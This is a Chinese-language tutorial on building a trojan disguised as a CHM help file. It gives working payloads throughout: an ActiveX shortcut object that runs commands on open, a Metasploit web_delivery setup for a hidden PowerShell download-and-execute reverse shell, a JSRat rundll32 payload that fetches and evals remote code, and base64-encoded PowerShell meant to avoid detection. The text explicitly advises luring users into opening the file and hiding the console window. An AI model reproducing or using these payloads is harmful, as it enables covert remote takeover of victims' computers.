制作chm格式木马病毒

2022-04-29 16:06:43 浏览数 (1)

1.CHM文件简介

CHM是英语“Compiled Help Manual”的简写,即“已编译的帮助文件”。CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

CHM文件格式是微软1998年推出的基于HTML文件特性的帮助文件系统,以替代早先的WinHelp帮助系统,它也是一种超文本标识语言,在Windows 98中把CHM类型文件称作“已编译的HTML帮助文件”。被IE浏览器支持的Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过URL与Internet联系在一起。

CHM文件因为使用方便,形式多样也被采用作为电子书的格式。

在普通用户眼里,CHM文件与txt文件一般无二,防御心理较弱。因此,一旦制作CHM文件木马,其传递更易,危害更广。

恰恰,CHM支持脚本语言编程,这为制作木马,产生了天然的便利条件。

2.CHM脚本初体验

因CHM是以HTML作源文,因此,我们新键一个HTML文件,命名为”说明文档.html”。在其中写入:

代码语言:javascript复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用EasyCHM等工具制作成CHM文件。点击该CHM文件,此时,你会看到,计算器小工具被打开了。

这是因为在html文件中,写入了

代码语言:javascript复制
<PARAM name="Item1" value=',calc.exe'>

此时,我们思考一下,倘若这个”calc.exe”修改为”cmd /c net user arche 123456 /add”会怎么样呢?是的,一个小木马已经初见雏形了。

3.POWERSHELL木马制作

由2我们已经知道CHM制作木马的整体流程了,那么,如何制作一款能够弹回shell环境的木马呢?木马的脚本又是怎么编写呢?

微软在windows 7 的系统中内置了一种强大的脚本语言Powershell。正如其名,这款语言十分强大。不过,强大的语言带来的方便的同时,也增加了安全问题。

Powershell具体教程此处不再累叙。有兴趣的同学可以访问Google。(Google说:记得带梯子啊。</坏笑>)

此处我们介绍怎么用metasploit来生成Powershell后门。

代码语言:javascript复制
root@kali:~# msfconsole

msf  >  use exploit/multi/script/web_delivery
msf exploit(web_delivery) >  set target 2
target => 2
msf exploit(web_delivery) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.17.131
lhost => 192.168.17.131
msf exploit(web_delivery) > set lport 9999
lport => 9999
msf exploit(web_delivery) > set srvport 8888
srvport => 8888
msf exploit(web_delivery) > set uripath /
uripath => /

msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.17.131:9999
[*] Using URL: http://0.0.0.0:8888/
[*] Local IP: http://192.168.17.131:8888/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');

此时,我们可以看到,metasploit已经生成我们要的powershell木马脚本了:

代码语言:javascript复制
powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');

用户只要在dos窗口或者powershell环境运行上述代码,即会反弹一个shell给我们了。 4.CHM后门制作

代码语言:javascript复制
<PARAM name="Item1" value=',calc.exe'>

里面写入上述3中的powershell代码是不是就直接能生成CHM后门了呢?

答案是:理论上是的。

直接在chm中写入powershell代码你会发现,执行powershell会弹出一个黑框?代码执行了没有生效?(至于为什么没有生效,可能跟CHM的语法相关,我尝试过修改参数格式几次后没再尝试了,有兴趣的同学可以去查阅资料。)弹出一个黑框?这不就完全暴露了自己是木马了吗?

看来直接在chm中写入powershell命令目前来说肯定是不合理的方式的。如何来解决弹框问题呢?

原作者实在是太厉害了。更换一种姿势来反弹shell,虽然该shell不如前述shell强大,但可以使用该shell再产生前述shell。这种姿势不会弹出黑框,完美解决问题。

首先下载原作者所修改的JSRat:

https://github.com/Ridter/MyJSRat

执行命令

代码语言:javascript复制
python MyJSRat.py -i 192.168.17.131 -p 8080

访问http://192.168.17.131:8080/wtf,你会看到生成的后门脚本:

代码语言:javascript复制
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.17.131:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

此时,将该脚本写入CHM中

代码语言:javascript复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"..mshtml,RunHTMLApplication ";document.write();h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.17.131:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

生成CHM文件并诱导用户点击。并没有任何黑框弹出来,然而一个简易的shell便建立了。

在该shell环境下,输入run,然后再输入前面生成的powershell后门脚本,一个强大的shell环境便产生了。至此,整个木马制作已经完成。

5.高级组合

上面已经完成了后门的制作了,可是流程还是较为复杂。能否在用户点击CHM文档后就直接弹回meterpreter shell呢?答案是可以的。

MyJSRat支持命令行发送模式启动,也就是说,启动MyJSRat后,只要用户一连接则会执行指定的命令行。格式为:

代码语言:javascript复制
python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');"

当然你会发现,上述powershell命令并未生效。</坏笑>

上述powershell命令中存在特殊字符,导致命令失效。这时,我们可以将powershell要执行的命令进行base64编码来解决该问题。

代码语言:javascript复制
oot@kali:~# echo '$M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/');"' >> ~/shellcode.txt

root@kali:~# cat ~/shellcode.txt | iconv --to-code UTF-16LE |base64
JABNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAk
AE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUA
dABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABNAC4AUAByAG8AeAB5AC4AQwBy
AGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMA
aABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAk
AE0ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKABoAHQAdABwADoALwAvADEAOQAyAC4A
MQA2ADgALgAxADcALgAxADMAMQA6ADgAOAA4ADgALwApADsAIgAKAA==

这时,可以使用powershell 执行base64编码命令来启动MyJSRat了:

代码语言:javascript复制
python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell -ep bypass -enc JABNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAkAE0ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADcALgAxADMAMQA6ADgAOAA4ADgALwApADsAIgAKAA==

诱导用户点击前面制作的CHM文件,你会发现,全程并无任何黑框出现,直接弹回了meterpreter会话了。perfect!

6.总结

普通用户由于对CHM认知不够,对CHM文件防御心理较弱,因此制作CHM木马容易被执行。而CHM天然对脚本的支持使得制作CHM木马十分简便。

在制作CHM木马时,由于powershell的强大,因此选择powershell做为后门脚本语言。

可是由于powershell脚本会弹出黑框,容易被发现,因此需要先生成中间层的不容易被发现的简易shell,来执行powershell脚本代码。最终实现不弹黑框、功能强大的shell环境。

0 人点赞